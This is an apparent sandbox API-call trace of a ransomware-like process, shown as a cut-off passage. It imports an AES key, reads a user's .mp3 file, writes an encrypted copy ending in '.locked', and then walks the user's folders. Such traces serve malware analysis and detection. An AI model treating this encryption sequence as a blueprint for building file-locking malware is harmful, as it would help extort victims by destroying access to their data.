returned 0x20 [0133.820] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.820] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.821] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.821] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.821] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0133.821] SystemFunction041 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.821] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0133.821] SystemFunction040 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.821] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0133.821] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0133.821] SystemFunction041 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.821] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0133.821] SystemFunction040 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.821] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0133.821] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0133.821] SystemFunction041 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.821] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0133.821] SystemFunction040 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.821] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0133.821] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0133.821] SystemFunction041 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.821] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0133.821] SystemFunction040 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.821] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0133.821] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0133.822] SystemFunction041 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.822] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0133.822] SystemFunction040 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.822] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0133.822] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0133.822] SystemFunction041 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.822] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0133.822] SystemFunction040 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.822] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0133.822] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0133.822] SystemFunction041 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.822] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0133.822] SystemFunction040 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.822] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0133.822] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0133.822] SystemFunction041 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.822] SystemFunction040 (in: Memory=0x438343c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438343c) returned 0x0 [0133.822] SystemFunction041 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0133.822] SystemFunction040 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0133.823] SystemFunction041 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0133.823] SystemFunction040 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0133.823] SystemFunction041 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0133.823] SystemFunction040 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0133.823] SystemFunction041 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0133.823] SystemFunction040 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0133.823] SystemFunction041 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0133.824] SystemFunction040 (in: Memory=0x8e3155c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3155c) returned 0x0 [0133.824] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e02828) returned 1 [0133.825] CryptImportKey (in: hProv=0x8e02828, pbData=0x6a945fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e850f8) returned 1 [0133.825] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.825] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.825] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe1, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.827] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xtipdzjyomwc9oat7gp.mp3")) returned 0x20 [0133.827] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xtipdzjyomwc9oat7gp.mp3")) returned 0x20 [0133.827] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", lpFilePart=0x0) returned 0x47 [0133.827] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", lpFilePart=0x0) returned 0x47 [0133.828] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", lpFilePart=0x0) returned 0x47 [0133.828] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", lpFilePart=0x0) returned 0x47 [0133.828] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.828] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe2, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.828] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", lpFilePart=0x0) returned 0x47 [0133.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0133.829] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xtipdzjyomwc9oat7gp.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0133.829] GetFileType (hFile=0x858) returned 0x1 [0133.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0133.829] GetFileType (hFile=0x858) returned 0x1 [0133.829] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0133.829] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe3, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.830] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3.locked", lpFilePart=0x0) returned 0x4e [0133.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0133.830] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xtipdzjyomwc9oat7gp.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0133.831] GetFileType (hFile=0x874) returned 0x1 [0133.831] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0133.831] GetFileType (hFile=0x874) returned 0x1 [0133.831] CryptGenRandom (in: hProv=0x8e02828, dwLen=0x10, pbBuffer=0x6aacc14 | out: pbBuffer=0x6aacc14) returned 1 [0133.831] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.832] CryptDuplicateKey (in: hKey=0x8e850f8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84db8) returned 1 [0133.832] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.832] CryptSetKeyParam (hKey=0x8e84db8, dwParam=0x4, pbData=0x6aaded0*=0x1, dwFlags=0x0) returned 1 [0133.832] CryptSetKeyParam (hKey=0x8e84db8, dwParam=0x1, pbData=0x6aade9c, dwFlags=0x0) returned 1 [0133.832] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xdd0\x438\x242") returned 0x0 [0133.832] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe4, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.833] ReadFile (in: hFile=0x858, lpBuffer=0x6ab142c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6ab142c*, lpNumberOfBytesRead=0x99ae7a8*=0x2865, lpOverlapped=0x0) returned 1 [0133.833] CryptEncrypt (in: hKey=0x8e84db8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6ac5438*, pdwDataLen=0x99ae79c*=0x2860, dwBufLen=0x2860 | out: pbData=0x6ac5438*, pdwDataLen=0x99ae79c*=0x2860) returned 1 [0133.833] WriteFile (in: hFile=0x874, lpBuffer=0x6aaccd4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6aaccd4*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0133.834] WriteFile (in: hFile=0x874, lpBuffer=0x6ac6424*, nNumberOfBytesToWrite=0x1874, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6ac6424*, lpNumberOfBytesWritten=0x99ae780*=0x1874, lpOverlapped=0x0) returned 1 [0133.834] ReadFile (in: hFile=0x858, lpBuffer=0x6ab142c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6ab142c*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0133.834] CryptEncrypt (in: hKey=0x8e84db8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6ac7cbc*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6ac7cbc*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0133.834] CryptEncrypt (in: hKey=0x8e84db8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ac7cf0*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6ac7cf0*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0133.834] WriteFile (in: hFile=0x874, lpBuffer=0x6aaccd4*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6aaccd4*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0133.835] CloseHandle (hObject=0x874) returned 1 [0133.848] CloseHandle (hObject=0x858) returned 1 [0133.848] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", lpFilePart=0x0) returned 0x47 [0133.848] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.848] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.850] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\xtipdzjyomwc9oat7gp.mp3")) returned 0x20 [0133.850] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\XTIpdzJyOmWc9OAT7Gp.mp3", lpFilePart=0x0) returned 0x47 [0133.850] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0133.850] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0133.850] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0133.850] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0133.850] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0133.850] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0133.850] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0133.851] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0133.851] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0133.851] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0133.851] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0133.851] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0133.851] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0133.851] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0133.851] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0133.851] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0133.851] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97")) returned 0x10 [0133.851] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97")) returned 0x10 [0133.852] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97", lpFilePart=0x0) returned 0x2f [0133.852] GetFullPathNameW (in: 